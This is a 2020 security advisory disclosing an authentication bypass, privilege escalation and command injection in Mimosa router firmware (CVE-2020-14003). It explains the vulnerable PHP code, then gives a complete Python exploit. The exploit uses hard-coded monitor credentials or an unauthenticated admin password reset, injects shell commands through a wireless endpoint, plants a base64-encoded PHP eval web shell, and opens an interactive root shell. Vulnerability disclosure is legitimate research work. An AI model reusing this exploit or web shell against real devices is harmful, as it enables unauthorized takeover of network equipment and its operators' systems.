# SSD Advisory - Mimosa Routers Privilege Escalation and Authentication bypass
June 16, 2020 [SSD Disclosure / Hadar Manor](https://ssd-
disclosure.com/author/hadarm/ "Posts by SSD Disclosure / Hadar Manor")
[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
Find out how we exploited Mimosa Router's web interface vulnerability and
gained root access.
**Vulnerability Summary**
Mimosa Networks is the global technology leader in wireless broadband
solutions, delivering fiber-fast connectivity to service providers and
enterprise, industrial and government operators worldwide. A vulnerability in
Mimosa devices/routers leads to an authentication bypass/ privilege escalation
by executing malicious code in the Routers Web interface.
**CVE**
CVE-2020-14003
**Credit**
An independent Security Researcher has reported this vulnerability to SSD
Secure Disclosure program.
**Affected Systems**
Should work on any mimosa device with versions of the firmware <= 1.5.1 (the
latest version)
C5c ca8c8e1
C5 cc51495
B5 b84c680
B5-Lite b84c680
B5c b84c680
B11 b84c680
B24 1070089
**Vendor Response**
The vendor acknowledges the vulnerability and fixed it.
**Vulnerability Details**
The Mimosa routers all use a custom web interface that's written using php.
The Mimosa developers also have their own mini php framework.
The root of the web interface is located at /var/www/. There are a lot of php
scripts there, some which handle API requests and others for the web
interface. Let's begin by looking at the framework and how authentication is
done (the initial bug).
Authentication Bypass/ Privilege Escalation
File **/var/www/core/tinyframe/mimosa.php**
```
class Dispatcher { //Dispatcher class (Handles routing) included for reference
private $output;
public function __construct() {
if (isset($_GET['q'])) { //parse action from url querystring
$array = explode('.', $_GET['q']);
if (count($array)) {
Application::$controller['name'] = strtolower(array_shift($array));
if (count($array)) {
Application::$controller['action'] = strtolower(array_shift($array));
}
}
unset($_GET['q']);
}
}
...
//line 277
class Controller extends Application { // The controller class handles authentication
...
//line 308
$noCheckController = array( // This are the controllers and functions that won't require authentication
'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'),
'info' => array('device'),
'preferences' => array('changepass'), //<-- The bug is here
'tools' => array('antenna_data')
);
```
As can be seen above, the authentication exemptions contain the preferences
endpoint (reachable at <router_ip>/index.php?q=preferences.preferences). This
is where the Privilege Escalation and Authentication bypass bugs occur, lets
take a look at the controller code and see what we can do.
File: **/var/www/core/controller/preferences.php**
```
//line 111
public function changepass() {
if(self::$isPost) { // Checks if the request sent is POST
$saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request
foreach($saveArray as &$value) {
$value = md5($value); // md5 hashing the password value
}
$_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui)
$this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value.
Flags::create('password_modified');
}
}
```
As can be seen above the bugs are pretty straight forward. And very easy to
exploit.
The first bug lets us escalate our session to super user, this was not trivial
to exploit since we need to login for the session to work. There is a code
block that checks session timeout using variables from the $_SESSION super
global. But this value will not be set unless we are logged in, and if it's
not set authentication fails. But luckily mimosa has a hard coded web user
(monitor:mimosa) that can login with minimal privileges and whats even better
there is no option to change the password for this user or disable it. Using
the hard coded credentials and the privilege escalation we can get full admin
access to the web UI.
The second bug is pretty trivial. We can change the password of the super user
without the need to authenticate. This lets us log in with our new password
and take full control. The PoC exploit below exploits both these bugs for RCE.
Remote Command Execution
The RCE requires an authenticated admin session to exploit, By using one of
the two bugs described above, we can get a valid session and exploit the bug.
The RCE is pretty simple so lets take a look at the code. File
**/var/www/core/controller/wireless.php**
```
public function powerRange() {
$isR5 = $this->product == 'B02';
$bw = $_GET['bw'];
$freq1= $_GET['freq'];
$freq2 = $_GET['freq2'];
$country = country();
if ((strlen(substr($bw, 2)) > 2))
$bw = '3' . str_replace(' FD','',substr($bw, 2));
else
$bw = substr($bw, 2);
$cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2";
if ( MIMOSA_PRODUCT == 'B11') {
$cmdRemote = $cmdLocal = $cmd;
$cmdLocal .= " gain ". $_GET['gain'];
$cmdRemote.= " gain ". $_GET['gainRemote'];
$minMaxLocal = array();
$minMaxRemote = array();
$lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
foreach ($lines as $key => $line) {
$x = explode(':', $line);
$minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1]));
}
$lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
foreach ($lines as $key => $line) {
$x = explode(':', $line);
$minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1]));
}
$this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]),
'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1]));
}
else {
if ($isR5) {
if (intval($_GET['gain']) > intval($_GET['gainRemote']))
$cmd .= " gain ". $_GET['gain'];
else
$cmd .= " gain ". $_GET['gainRemote'];
}
$lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2);
$minMax = array();
foreach ($lines as $key => $line) {
$x = explode(':', $line);
$minMax[] = array((int) trim($x[2]), (int) trim($x[1]));
}
if(count($minMax) > 1) {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]),
'Power2' => range($minMax[1][0], $minMax[1][1]));
} else {
$this->options = array('Power' => range($minMax[0][0], $minMax[0][1]));
}
}
```
As you can see from the above code, the function powerRange (reachable at
<router_ip>/index.php?q=wireless.powerRange) executes a command using doCmd (a
wrapper) without any type of filtering. The code has 2 paths if the product is
B11 and if it is not (Other models) but the RCE will happen in both cases.
As a side note the /var/www/ directory is not writable by default (squashfs
filesystem) and you have to get around that by using a bind mount
/var/www/help/ to /tmp/<some_dir> to upload a shell.
**Demo**
- ![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1592987653282-w331s)
**Exploit**
```
#!/usr/bin/python2
import sys
import json
import requests
import urllib3
from base64 import b64encode as encode
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class MimosaExploit():
def __init__(self,url):
self.url = url
self.cookie = None
def get_version(self):
print '[+] Fingerprinting device.'
r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'})
if r.status_code != 200:
print "[-] Failed to fetch device info, Are you sure this is mimosa device?"
return False
else:
try:
data = json.loads(r.text)
print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version'])
return True
except Exception:
print '[-] Failed to parse device info.'
return False
def LoginMonitor(self):
print '[+] Attempting to login as the monitor user (lowest privilege)'
r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'})
if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
print '[+] Login seems to have failed :('
print '[+] Try using the password change exploit?'
return False
if 'Set-Cookie' not in r.headers.keys():
print '[+] No session recieved, maybe retry?'
return False
self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
print '[+] Got cookie: {}'.format(self.cookie)
def LoginAdmin(self):
print '[+] Attempting to login as the admin user'
r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'})
if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1:
print '[+] Login seems to have failed :(, maybe retry?'
return False
if 'Set-Cookie' not in r.headers.keys():
print '[+] No session recieved, maybe retry?'
return False
self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
print '[+] Got cookie: {}'.format(self.cookie)
def EscalatePrivilege(self):
print '[+] Escalating privilege to Super User'
r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
if r.status_code != 200:
print '[+] Failed to escalate privileges'
return False
try:
json.loads(r.text)
except:
print '[-] Failed to escalate privileges, Invalid response'
return False
print '[+] Successfully got Super User privileges'
def ChangeAdminPassword(self):
print '[+] Changing the admin password to admin'
r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie})
if r.status_code != 200:
print '[+] Failed to change the password'
return False
try:
json.loads(r.text)
except:
print '[-] Failed to change the password, Invalid response'
return False
print '[+] Successfully changed the admin password'
def ExploitRCE(self,Shell=True):
print '[+] Beginning RCE exploit'
if Shell == False:
cmd = raw_input("Input command you want to execute> ")
else:
# Shell base64 decoded
#<?php
#eval(base64_decode($_REQUEST['p']));
#?>
cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php"
r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie})
if r.status_code != 200 and r.text.lower().find('power') == -1:
print '[+] Executing the command might have failed'
return False
else:
print '[+] Successfully executed the command'
if Shell == True:
print '[+] Checking if shell is uploaded'
r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")})
if r.status_code == 200 and r.text.strip() == '_UPLOADED_':
print '[+] Shell is uploaded'
else:
print '[-] Uploading the shell might have failed, retry?'
return False
ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ")
if ch.lower() == 'y':
print '[+] Running an interactive command shell'
print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code'
while True:
cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip()
if cmd == "quit":
print '[+] Exiting command shell.'
return True
elif cmd == 'clean_up':
cmd = encode('system("rm -rf load_help.php && echo __DONE__");')
r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd})
if r.status_code != 200:
print '[+] Something went wrong while executing the command'
elif r.text.strip() == '__DONE__':
print '[+] Exploit cleaned up, exit now please'
elif cmd.startswith("php "):
r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])})
if r.status_code != 200:
print '[+] Execution Failed.'
else:
print r.text
r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')})
if r.status_code != 200:
print '[+] Something went wrong while executing the command'
print r.status_code
print r.text
else:
print r.text
else:
print '[+] Your shell should be at {}/help/load_help.php'
print '[+] use GET/POST parameter p to execute php code'
print '[+] Note the php code sent through p has to be base64 encoded'
return True
else:
print '[+] Command should be executed'
return True
def run(self):
print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit'
print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) '
ch = raw_input('Choice> ')
if ch == "1":
if(self.get_version() == False):
print '[-] Fingerprinting Failed, bailing'
exit(0);
if(self.LoginMonitor() == False):
print '[-] Failed to Login using hardcoded creds, Bailing'
exit(0);
shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
if shell.strip().lower() == 'y':
self.ExploitRCE()
else:
self.ExploitRCE(Shell=False)
if ch == "2":
if(self.get_version() == False):
print '[-] Fingerprinting Failed, bailing'
exit(0);
if(self.ChangeAdminPassword() == False):
print '[-] Failed to change creds, Bailing'
exit(0);
if(self.LoginAdmin() == False):
print '[-] Failed to Login as admin, Bailing'
exit(0);
shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ')
if shell.strip().lower() == 'y':
self.ExploitRCE()
else:
self.ExploitRCE(Shell=False)
if __name__ == "__main__":
if len(sys.argv) < 2:
print 'Usage: {} <url>'.format(sys.argv[0])
exit(0)
ex = MimosaExploit(sys.argv[1])
ex.run()
```
暂无评论